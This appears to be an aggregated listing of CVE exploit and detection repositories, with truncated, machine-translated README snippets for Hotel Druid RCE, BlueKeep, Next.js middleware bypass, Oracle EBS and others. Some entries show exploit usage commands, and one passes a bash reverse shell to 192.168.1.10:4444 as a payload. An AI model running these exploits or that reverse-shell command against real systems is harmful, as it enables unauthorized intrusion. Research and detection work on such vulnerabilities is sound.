PwnKit-CVE-2021-4034-

PwnKit-CVE-2021-4034- Polkit脆弱性のリライト...

CVE-2022-22909

CVE-2022-22909 Hotel Druid 3.0.3 - 远程代码执行 RCE 由 kaal 开发的漏洞利用程序 漏洞利用程序 1. HotelDruidExploit.py 此漏洞利用程序将创建一个新房间，并以我们的 PHP 负载作为房间名称。 用法： $ ./HotelDruidExploit.py -h $ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid 2. HotelDruidExploitRoom.py 此漏洞利用程序在您已知房间名称时有效。 用法： $ ./HotelDruidExploitRoom.p...

external_libexif_AOSP10_CVE-2020-0452

libexif ------- 説明 libexif は、EXIF データの解析、編集、保存を行うためのライブラリです。コマンドラインユーティリティや GUI プログラムにおける多くの重複した実装を置き換えることを目的としています。 特徴 libexif は EXIF データの解析、編集、保存をサポートしています。さらに、gettext による国際化対応も備えています。EXIF 標準 2.1（および 2.2 の大部分）で記述されているすべての EXIF タグをサポートしています。また、Canon、Casio、Epson、Fuji、Nikon、Olympus、Pentax、Sanyo...

CVE-2019-0708Poc-BatchScanning

title:CVE-2019-0708批量检测 这个批量检测是基于360公开的无损检测工具（0708detector.exe），有以下功能： 1. 单个检测 2. 批量检测 root@kitploit: 双击0708detector-全自动批量版.exe即可使用！ 批量检测支持自定义要检测的ip列表，自定义存在漏洞的ip集的储存位置。 批量检测有个缺点就是线程是1，在目标ip数目特别大的时候会特别的缓慢，不过优点就是用法很轻松，只要系统是windows就能使用了，不需要安装任何东西。 3389.txt和0708.txt在这里都是相对路径，你也可以任意设置自己的文件所在位置。...

poc-cve-2025-29927

Next.js 中间件绕过 CVE-2025-29927 概念验证 本仓库包含 CVE-2025-29927 的 概念验证 POC ，这是 Next.js 中的一个严重漏洞，允许攻击者绕过在中间件中实现的授权检查。 📋 目录 1. 运行 POC 应用 2. 使用漏洞利用脚本 3. 如何修复漏洞 4. 漏洞详情 运行 POC 应用 此 Next.js 应用程序通过一个受保护的控制面板路由演示了该漏洞。 设置说明 1. 克隆仓库 2. 安装并运行： root@kitploit: npm install npm run build npm run start 3. 在浏览器中访问...

RDS_CVE-2019-0708

RDSCVE-2019-0708...

WordPress_CVE-2020-8417

WordPressCVE-2020-8417 CSRFコードスニペットの脆弱性 CVE-2020-8417 https://www.youtube.com/watch?v=47OBH4N70f0 フォローする Vulnmachines YouTube Twitter Facebook...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 向け検出アーティファクト生成ツール 技術的な詳細は、ブログ記事 を参照してください 動作中の検出 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

CVE-2020-0688

python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...

CVE-2022-38374

CVE-2022-38374 テキストのコピー元 :https://vulners.com/cve/CVE-2022-38374...

MSC-EvilTwin-Local-Privilege-Escalation

CVE-2025-26633 - Microsoft Management Console .msc EvilTwin ローカル特権昇格 PoC 開示時点でのゼロデイ 2025年3月 – Water Gamayun APT により実際に悪用中 認可されたセキュリティテストおよび研究目的のみ 脆弱性の詳細 エクスプロイトタイトル : Microsoft Management Console MMC - MSC EvilTwin ローカル特権昇格 / 任意コード実行 CVE : CVE-2025-26633 CVSS v3.1 : 7.8 高 –...

CVE-2022-25845-In-Spring

CVE-2022-25845-In-Spring !IMPORTANT 学習・交流のみを目的とし、不正な用途に使用しないでください pythonによるエクスプロイト 役に立ったら、スターをお願いします 参考： https://github.com/luelueking/CVE-2022-25845-In-Spring 使い方 必要に応じてパラメータ受け渡しのロジックを変更してください。ここではデフォルトでPOSTリクエストボディによるパラメータ受け渡しになっています。 root@kitploit: git clone...

cve-2019-0708

cve-2019-0708 CVE-2019-0708 エクスプロイトツール CVE-2019-0708を使用してリモートデスクトップサービスをエクスプロイトするツール ビデオデモ: https://www.youtube.com/watch?v=SCsJ9Uq3POk...

Cve-api

最新のCVEをhttps://cve.mitre.orgから解析・フィルタリングします ドキュメント 使い方 http://localhost:4000/cve?target=KEYWORD yearパラメータはオプションです。 http://localhost:4000/cve?target=KEYWORD&year=YEAR 例 http://localhost:4000/cve?target=ruby%20on%20rails http://localhost:4000/cve?target=ruby%20on%20rails&year=2020...

Laravel_CVE-2021-3129_EXP

LaravelCVE-2021-3129EXP 参考exp: https://github.com/SNCKER/CVE-2021-3129 バージョン要件 Laravel Iginition == 2.5.1 EXPで動作確認済みのローカルバージョン: Laravel 8.4.2 注意事項 このexpをphpgccディレクトリに配置する必要があります。配置しない場合、phpgccを呼び出せません。 例...

log4shell-finder

log4shell-finder - log4j インスタンス向け最速のファイルシステムスキャナ https://github.com/mergebase/log4j-detector の Python 移植版です。log4j-detector は Copyright C Copyright 2021 Mergebase Software Inc. https://mergebase.com/ に帰属し、GPLv3 でライセンスされています。 Python に移植した動機は、パフォーマンスの向上、メモリ消費の削減、コードの可読性の向上です。比較については下記のパフォーマンス...

CVEs

CVEs これらは、CVEプログラムを通じて私が特定し、開示した脆弱性です。...

cve-2024-3094-detect

CVE-2024-3094-detect XZ Utils 脆弱性チェックおよびダウングレードスクリプト このスクリプトは、LinuxシステムにインストールされているXZ Utilsのバージョンを確認し、必要であれば安全なバージョンにダウングレードするように設計されています。また、Linuxディストリビューションと使用されているパッケージマネージャーを検出します。 特徴 インストールされているXZ Utilsのバージョンを確認し、脆弱かどうかを識別します。 Linuxディストリビューション（Fedora、Debian、openSUSE、Kali Linux）を検出します。 必要に応じてX...

14-828_Exploitation_of_CVE-2019-5822

此存储库没有 README。...

perwendel__spark_CVE-2018-9159_2_7_2_fixed

Spark - Java 8 用の小さなWebフレームワーク ニュース : Spark 2.7.1 がリリースされました。ぜひお試しの上、バグを報告してください。 root@kitploit: com.sparkjava spark-core 2.7.1 重要 - Spark の旧バージョン（2.5.2 より前のバージョン）には脆弱性があります。最新バージョンにアップグレードしてください。 ドキュメントは、http://sparkjava.com/documentation をご覧ください。 使い方に関する質問は、「spark-java」タグ付きのStack Overflow...